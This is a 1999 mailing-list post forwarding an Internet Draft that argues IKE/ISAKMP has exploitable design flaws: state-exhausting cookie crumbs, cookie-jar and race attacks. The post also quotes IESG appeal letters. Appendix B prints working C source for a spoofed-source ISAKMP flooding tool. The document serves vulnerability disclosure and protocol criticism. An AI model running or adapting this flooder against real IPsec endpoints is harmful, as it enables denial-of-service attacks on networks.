[109677] in Cypherpunks
linux-ipsec: draft-simpson-danger-isakmp-00.txt (A)
daemon@ATHENA.MIT.EDU (Robert Hettinga)
Thu Apr 1 10:19:09 1999
Date: Thu, 1 Apr 1999 06:39:49 -0500
To: cypherpunks@cyberpass.net
From: Robert Hettinga <rah@shipwright.com>
Reply-To: Robert Hettinga <rah@shipwright.com>
--- begin forwarded text
Date: Thu, 1 Apr 1999 05:00:45 -0500
To: internet-drafts@ietf.org
From: William Allen Simpson <wsimpson@greendragon.com>
Subject: linux-ipsec: draft-simpson-danger-isakmp-00.txt (A)
Cc: linux-ipsec@clinet.fi
Sender: owner-linux-ipsec@clinet.fi
Network Working Group W A Simpson
Internet Draft [DayDreamer]
expires in six months April 1, 1999
IKE/ISAKMP Considered Dangerous
draft-simpson-danger-isakmp-00.txt (A)
Status of this Memo
This document is an Internet Draft, and is in full conformance with
all provisions of Section 10 of RFC2026, except that the right to
produce derivative works is not granted.
Internet Drafts are working documents of the Internet Engineering
Task Force (IETF), its Areas, and its Working Groups. Note that
other groups may also distribute working documents as Internet
Drafts.
Internet Drafts are draft documents valid for a maximum of six
months, and may be updated, replaced, or obsoleted by other documents
at any time. It is not appropriate to use Internet Drafts as
reference material, or to cite them other than as "Work In Progress."
The list of current Internet Drafts can be accessed at
http://www.ietf.org/ietf/1id-abstracts.txt.
To view the list of Internet Draft Shadow Directories, see
http://www.ietf.org/shadow.html.
Note that the first paragraph of this section is a meaningless
bureaucratic requirement of the IESG. It is provided so as to
satisfy those bureaucratic requirements, and serves no other purpose
whatever. No assumption should be made that the author(s) have
assented to any of it.
Information as to any intellectual property rights, beyond the right
to redistribute this document and make use of it for the purposes of
an Internet Draft, should be sought in other parts of this document.
Distribution of this memo is unlimited.
Simpson expires in six months [Page i]
DRAFT IKE/ISAKMP Dangerous April 1999
Copyright Notice
Copyright (C) William Allen Simpson (1999). All Rights Reserved.
Abstract
IKE [RFC-2409] is a session-key exchange mechanism within the ISAKMP
[RFC-2408] protocol framework. This combination is fraught with
egregious fundamental design flaws.
This document details a few of the more easily exploitable problems;
including interoperability issues, privacy information leaking, and
severe denial of service attacks.
The author was prevented from publishing this information in the
IETF, while awaiting publication of the more capable and robust
Photuris specification [RFC-2522].
Simpson expires in six months [Page ii]
DRAFT IKE/ISAKMP Dangerous April 1999
1. Introduction
Since December 1995, a number of internet-drafts related to Internet
Protocol Security have been awaiting official publication as Requests
For Comments. The Internet Engineering Steering Group (IESG) made
the unprecedented decision to delay publication of other work in any
form, until the chartered Working Group had completed the next
revision of their documents. Usually, Experimental work is published
prior to a Proposed Standard. This internal IESG decision was not
officially announced until after a formal appeal of the years of
interminable delay. See Appendix A.1.
Unfortunately, any delay of the Working Group documents meant that
publication of the other work would be delayed as well. This had the
effect of stifling overt criticism of the documents, despite their
obvious faults.
Eventually, in November 1998, the revised IP Security documents were
published. It took several more months before publication of other
specifications was permitted, and not all of them have been
permitted. See Appendix A.2 and A.3.
In the meantime, vast sums of money have been wasted implementing and
testing the overly complicated and poorly specified IKE/ISAKMP.
This document details a few of the more easily exploitable problems;
including egregious fundamental design flaws, interoperability
issues, privacy information leaking, and severe denial of service
attacks.
It is hoped that this draft will stimulate discussion.
Simpson expires in six months [Page 1]
DRAFT IKE/ISAKMP Dangerous April 1999
2. Cookies
While Karn and Simpson are credited (see [RFC-2408 page 12]) with the
cookie (anti-clogging token) concept taken from Photuris, the
IKE/ISAKMP version of cookies fails to meet the explicit requirements
set forth in Photuris:
"The computing resources themselves must also be protected against
malicious attack or sabotage.... Because of their use of CPU-
intensive operations, such as modular exponentiation, key
management schemes based on public-key cryptography are vulnerable
to resource clogging attacks.... These attacks are mitigated
through using time-variant cookies, and the elimination of
receiver state during initial exchanges of the protocol."
[Photuris-01 pages 2-3]
"It MUST NOT be possible for anyone other than the issuing entity
to generate cookies that will be accepted by that entity. This
implies that the issuing entity will use local secret information
in the generation and subsequent verification of a cookie."
[RFC-2522 page 19] also [Photuris-01 page 12]
"The Responder secret value that affects its cookies MAY remain
the same for many different Initiators. However, this secret
SHOULD be changed periodically to limit the time for use of its
cookies (typically each 60 seconds)." [RFC-2522 page 20]
"The Responder remains stateless until a shared-secret has been
created." [RFC-2522 page 3]
"Otherwise, the Responder returns a Cookie_Response. Note that
the Responder creates no additional state at this time."
[RFC-2522 page 15] also [Photuris-01 page 12]
"The [Responder] cookie is not cached per Initiator to avoid
saving state during the initial Cookie Exchange." [RFC-2522 page
20]
Simpson expires in six months [Page 2]
DRAFT IKE/ISAKMP Dangerous April 1999
2.1. Cookie Crumb Attack
Unfortunately, ISAKMP replaces the time-variant secret of Photuris
with a date and time stamp [RFC-2408 page 20], requires state in the
Responder, and leaves a "cookie crumb" for every connection attempt.
The problem is acknowledged, and inadequate hand-waving is
recommended:
"... the anticlogging [sic] mechanism should be used in conjuction
[sic] with a garbage-state collection mechanism; an attacker can
still flood a server using packets with bogus IP addresses and
cause state to be created." [RFC-2408 page 13].
This text demonstrates utter failure to understand the fundamental
purpose of the Photuris anti-clogging mechanism design, despite
several repetitions in the Photuris specification: preventing the
creation of state during a flooding attack.
All tests have shown that garbage collection is not sufficient. One
common implementation used over 50MB of memory during a 1 minute
test. Moreover, a simple flooding program can consume 100% of the
CPU, degrading performance to the extent that outgoing packets stop
entirely. See Appendix B "Cookie Crumbs (Exploit)".
Moreover, the problem is not limited to "bogus IP addresses". Valid
IP addresses cause the same symptoms.
Surprisingly, all variants of the exploit proved successful:
single source address, single source port
single source address, random source port
random source address, single source port
random source address, random source port
This fundamental design flaw is endemic, and appears to be
irremediable.
Simpson expires in six months [Page 3]
DRAFT IKE/ISAKMP Dangerous April 1999
2.2. Cookie Jar Attack
Another significant problem is the lack of any resource limitation
feature, such as is found in Photuris. In particular, an attacker
can send a large number of ISAKMP proposals, collect the responses in
a "cookie jar", then send a large number of key exchange messages all
at once.
The Responder is swamped by simultaneously calculating the shared-
secrets and decrypting the nonces. Both operations are
computationally expensive.
Note that the attacker does not need to make any computations itself.
The key exchange and nonce payloads can be properly formatted
garbage.
This attack is especially effective for an evesdropper in the path
between a legitimate Initiator and Responder. The evesdropper can
simulate an entire valid range of source addresses, making detection
and avoidance of this attack very difficult.
This fundamental design flaw is inherent in the specification, and
remediation will require significant protocol changes.
2.3. Cookie Race Attack
A more subtle flaw is a race condition between the phases after the
initial exchange of cookies.
An evesdropper on a path between the parties can observe a valid
ISAKMP proposal header from the Responder, add appropriate message
fields with garbage contents, and send the bogus message to the
Responder, before the next correct message arrives from the
Initiator.
The Responder will waste significant time calculating a shared-
secret, and will not discover the substitution until later
verification fails.
The Initiator will never discover the substitution, as there is no
requirement that the Responder send any message to signal
verification failures. The Initiator will futilely retransmit.
Simpson expires in six months [Page 4]
DRAFT IKE/ISAKMP Dangerous April 1999
Run, run, run,
as fast as you can.
You can't catch me,
I'm the gingerbread man.
This is a mere specification error, but affects interoperability.
3. Aggressive Denial of Service
In the next installment, flaws in the "Aggressive" Exchange Mode will
be detailed.
A. Responses to Appeals
A.1. Publication Delayed
Date: Fri, 25 Jul 1997 19:16:25 -0700
To: "William Allen Simpson" <wsimpson@greendragon.com>
From: Fred Baker <fred@cisco.com>
Subject: Response to Appeal
Cc: ietf@ietf.org
This is to formally respond to your appeal to and question of the chair,
regarding the delayed publication of the two internet drafts as
Experimental RFCs:
"ICMP Security Failures Messages", 04/30/1996,
<draft-simpson-icmp-ipsec-fail-02.txt>
and
"Internet Security Transform Enhancements", 04/30/1997,
<draft-simpson-ipsec-enhancement-01.txt>
The sense of the IESG, and apparently your sense in naming them, is that
both of these documents relate directly to and overlap with work being done
in the IPSEC Working Group. In the IETF Plenary session in San Jose, and in
various emails, the Security Area Director has stated that, regardless of
the intended status of the draft, drafts that are closely related to the
work currently being done in the IPSEC Working Group will not be published
until the principal output of that working group has been published. This
policy was propounded because some factions in that working group were
telling potential customers that their approach was in fact the IETF
approach, and the IESG felt that giving them an RFC number to quote would
give them additional ammunition with which to confuse the marketplace.
Note that, while the policy is the Security Area Director's, it was
propounded with the explicit concurrence of the IESG.
Simpson expires in six months [Page 5]
DRAFT IKE/ISAKMP Dangerous April 1999
You also point out in your appeal that the POISED documents indicate that a
document which fails to achieve Proposed Standard status may still be
published as Experimental, and view our delay as violating this guidance. I
believe you are mistaken; while POISED permits such a publication, POISED
does not require it to be done on any given timetable, and does not
preclude the IESG from an action such as it has taken in this case. The
delay in publication of your documents (and others) has not precluded
people from using the documents, only from marketing them to the ignorant
as RFCs and therefore standards.
Yes, I will agree - hastily - that anyone who is informed will know that
RFCs are archival documents, and not automatically standards. However, you
know as well as I that this fact is frequently lost in the translation from
engineering to marketing, and in this case the marketing issue has been a
serious factor.
I am sorry that this delay has upset you. The IESG is not pleased with the
progress of the IPSEC Working Group, which has been a difficult environment
for everyone involved in it. We hope that the new chairs will be able to
bring this work to closure and move the working group on to more productive
efforts.
A.2. Publication Granted
Date: Tue, 16 Feb 1999 16:31:18 -0500 (Eastern Standard Time)
From: Steve Coya <scoya@ietf.org>
To: RFC Editor <rfc-ed@ISI.EDU>
cc: iesg@ietf.org, wsimpson@greendragon.com
Subject: Photuris and ICMP documents
The IESG has no problem with the publication of the following documents as
Experimental RFCs:
o The Photuris Session Key Management Protocol
<draft-simpson-photuris-18.txt>
o Photuris Schemes and Privacy Protection
<draft-simpson-photuris-schemes-05.txt>
o ICMP Security Failures Messages
<draft-simpson-icmp-ipsec-fail-02.txt>
Simpson expires in six months [Page 6]
DRAFT IKE/ISAKMP Dangerous April 1999
A.3. Publication Refused
Date: Tue, 16 Feb 1999 17:07:50 -0500 (Eastern Standard Time)
From: Steve Coya <scoya@ietf.org>
Reply-To: Steve Coya <scoya@ietf.org>
To: RFC Editor <rfc-ed@ISI.EDU>
cc: iesg@ietf.org, wsimpson@greendragon.com
Subject: Re: draft-simpson-ipsec-enhancement-01.txt to Experimental
Greetings,
The IESG consensus requests that Internet Security Transform Enhancements
<draft-simpson-ipsec-enhancement-01.txt> NOT be published as an
Experimental RFC as this document adds sequence numbers to the old
and obsolete AH and ESP transforms. In the case of ESP, it does so in an
incompatible way. Publication of these documents could easily confuse
implementors of IPSEC.
The IESG will reconsider publication if this document is updated as needed
and resubmitted.
B. Cookie Crumbs (Exploit)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#define USE_IP_SOURCE "10.10.10.10"
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi <
3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
Simpson expires in six months [Page 7]
DRAFT IKE/ISAKMP Dangerous April 1999
#define PADDING 72 /* first isakmp message length */
#define MAGIC 0x3
#define COUNT 0x1
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_cookies(int, u_long, u_long, u_short, u_short, u_short);
/* Initiator Packet for ISAKMP Main Mode */
char isakmppacket[PADDING] = {
0x95, 0xfe, 0x04, 0x54, 0xa9, 0x11, 0xba, 0xe7,
0, 0, 0, 0, 0, 0, 0, 0,
0x01, 0x10, 0x02, 0, 0, 0, 0, 0,
0, 0, 0, 0x48, 0, 0, 0, 0x2c,
0, 0, 0, 1, 0, 0, 0, 1,
0, 0, 0, 0x20, 1, 1, 0, 1,
0, 0, 0, 0x18, 1, 1, 0, 0,
0x80, 1, 0, 1, 0x80, 2, 0, 1,
0x80, 3, 0, 1, 0x80, 4, 0, 1
};
int main(int argc, char **argv)
{
int one = 1, i, rip_sock, x=1, id=1;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one,
sizeof(one))
< 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc < 2) {
usage(argv[0]);
}
if (!(dst_ip = name_resolve(argv[1]))) {
exit(1);
}
dst_prt = 5000;
for (;;) {
#ifdef USE_IP_SOURCE
Simpson expires in six months [Page 8]
DRAFT IKE/ISAKMP Dangerous April 1999
src_ip = inet_addr(USE_IP_SOURCE);
#else
src_ip = ((arc4random() & 0xdfff) << 16)
+ arc4random();
#endif
src_prt = arc4random();
send_cookies(rip_sock, src_ip, dst_ip, src_prt, dst_prt, id++);
}
return (0);
}
/*
* Send ISAKMP initiator Main Mode packet.
*/
void send_cookies(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt, u_short id)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
u_int32_t cookiehalf;
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the
beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(id); /* IP id */
p_ptr += 2;
/* *((u_short *)p_ptr) |= FIX(IP_MF); */ /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 247; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by
kernel */
Simpson expires in six months [Page 9]
DRAFT IKE/ISAKMP Dangerous April 1999
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(PADDING + 8); /* Length */
p_ptr += 4;
cookiehalf = arc4random();
bcopy(&cookiehalf, isakmppacket, 4);
cookiehalf = arc4random();
bcopy(&cookiehalf, isakmppacket + 4, 4);
bcopy(isakmppacket, p_ptr, PADDING);
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr
*)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s dst_ip\n",
name);
exit(0);
}
Simpson expires in six months [Page 10]
DRAFT IKE/ISAKMP Dangerous April 1999
Security Considerations
Any site that has deployed IKE/ISAKMP SHOULD revert to manual keying.
Acknowledgements
A number of folks have contributed anonymously to this document.
References
[Photuris-01]
Karn, P., and Simpson, W., "The Photuris Session Key
Management Protocol", draft-karn-photuris-01.txt, Work In
Progress, March 1995.
[RFC-2408]
[RFC-2409]
[RFC-2522] Karn, P., and Simpson, W., "Photuris: Session-Key
Management Protocol", March 1999.
[Schneier95]
Schneier, B., "Applied Cryptography Second Edition", John
Wiley & Sons, New York, NY, 1995. ISBN 0-471-12845-7.
Contacts
Comments about this document should be discussed on the ietf@ietf.org
mailing list.
Questions about this document can also be directed to:
William Allen Simpson
DayDreamer
Computer Systems Consulting Services
1384 Fontaine
Madison Heights, Michigan 48071
wsimpson@UMich.edu
wsimpson@GreenDragon.com (preferred)
Simpson expires in six months [Page 11]
DRAFT IKE/ISAKMP Dangerous April 1999
Full Copyright Statement
Copyright (C) William Allen Simpson (1999). All Rights Reserved.
This document and translations of it may be copied and furnished to
others, and derivative works that comment on or otherwise explain it
or assist in its implementation may be prepared, copied, published
and distributed, in whole or in part, without restriction of any
kind, provided that the above copyright notice and this paragraph are
included on all such copies and derivative works. However, this
document itself may not be modified in any way, except as required to
translate it into languages other than English.
This document and the information contained herein is provided on an
"AS IS" basis and the author(s) DISCLAIM ALL WARRANTIES, EXPRESS OR
IMPLIED, INCLUDING (BUT NOT LIMITED TO) ANY WARRANTY THAT THE USE OF
THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED
WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
Simpson expires in six months [Page 12]
--- end forwarded text
-----------------
Robert A. Hettinga <mailto: rah@philodox.com>
Philodox Financial Technology Evangelism <http://www.philodox.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
